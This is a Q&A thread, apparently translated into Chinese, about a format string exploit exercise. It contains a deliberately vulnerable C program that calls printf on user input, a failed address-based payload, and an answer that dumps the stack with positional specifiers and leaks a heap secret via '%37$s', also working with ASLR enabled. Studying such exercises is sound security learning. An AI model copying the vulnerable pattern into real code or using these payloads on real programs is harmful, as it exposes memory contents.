格式化字符串漏洞利用练习

Format string exploit exercise

考虑以下代码:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

void vuln(char *user_input)
{
    char buf[128];

    strcpy(buf, user_input);
    printf(buf);
    printf("\n");

}

int main(int argc, const char * argv[]) {
    // insert code here...
    char *secret = (char *) malloc(5);
    strcpy(secret, "4067");
    printf("secret is at: %p\n", secret);
    vuln(argv[1]);
    return 0;
}

我在 Raspberry OS (RPi 3) 的 gcc 中使用以下命令编译了这段代码:

gcc -fno-stack-protector -z execstack format.c -o format

之后,我在我的 Raspberry OS 上禁用了 ASLR。程序输出如下:

$ ./format AAAA
secret is at: 0x22150
AAAA

所以为了打印秘密,我使用了以下内容:

$ ./format "\x50\x21\x02\x00 %x.%x.%x.%x.%s"

这给了我以下输出:

$ ./format "\x50\x21\x02\x00 %x.%x.%x.%x.%s"
secret is at: 0x22150
\x50\x21\x02\x00 7e8d77eb.0.7e8d74a8.76f5a4f8.\x50\x21\x02\x00 %x.%x.%x.%x.%s

由于某种原因,%s 打印了字符串而不是地址 \x50\x21\x02\x00 指定的内容。前几天还可以,更新后就不行了。我该怎么做才能让它恢复正常?

如有任何建议,我们将不胜感激。

这里的关键问题是地址中的空字节:在上面的示例中,“秘密”存储在 0x00022150,当翻译为字节顺序时,是字符串 \x50\x21\x02\x00 作为你说。请注意末尾的空字节,由于多种原因这是有问题的。

首先,C 中的字符串以空字节结尾,这意味着 strcpy 将复制直到它看到第一个空字节,这将破坏包含 %x 的有效负载的后半部分.但是,空字节甚至没有传递给二进制文件:bash(我相信其他 shell)不喜欢将空字节作为参数传递:

pi@raspberrypi:~/tmp$ ./format $(python3 -c 'print("A\x00b")')
-bash: warning: command substitution: ignored null byte in input
secret is at: 0x22190
Ab

你不会注意到上面的警告,因为你的原始十六进制字节也没有正确翻译:注意下面两个输出的区别:

pi@raspberrypi:~/tmp$ python3 -c 'print("\x61\x62")' | hexdump
0000000 6261 000a
0000003
pi@raspberrypi:~/tmp$ python3 -c 'print(r"\x61\x62")' | hexdump
0000000 785c 3136 785c 3236 000a
0000009

因此,在这里泄露带有格式字符串错误的 secret 有点具有挑战性。但是,如果我们考虑 main 中的指针 secret 指向存储秘密的堆位置,并且 fsb 允许您取消引用并打印堆栈上的任何数据,我们可以简单地告诉 printf 到“嘿,在堆栈的 this 位置有一个字符串”,其中 thissecret 的位置.要识别这一点,只需转储堆栈,直到看到正确的指针:

pi@raspberrypi:~/tmp$ ./format $(python3 -c 'print("".join([f"%{i}$p." for i in range(30, 40)]))')
secret is at: 0x22190
0xbefffb34.0xb6eadd70.0xbefffb14.0x18c66100.0x1065c.0x10528.0x1065c.0x22190.0xbefffb34.0x1053c.

请注意,我们看到 0x22190 被打印出来了。我们可以手动计算偏移量,然后将数据转储到 0x22190:

pi@raspberrypi:~/tmp$ ./format '%37$p'
secret is at: 0x22190
0x22190
pi@raspberrypi:~/tmp$ ./format '%37$s'
secret is at: 0x22190
4067

这里需要注意的是,尝试使用 %s 打印无效的内存地址将导致段错误,因此在这里我们告诉它只取消引用并转储一个地址而不是所有 10 个地址。

作为奖励,由于我们不必在我们的负载中指定 secret 的实际地址,这种攻击方法也适用于启用 ASLR。

pi@raspberrypi:~/tmp$ ./format '%37$s'
secret is at: 0xb84190
4067
pi@raspberrypi:~/tmp$ ./format '%37$s'
secret is at: 0x1c12190
4067
pi@raspberrypi:~/tmp$ ./format '%37$s'
secret is at: 0x1f66190
4067
pi@raspberrypi:~/tmp$ ./format '%37$s'
secret is at: 0x1a29190
4067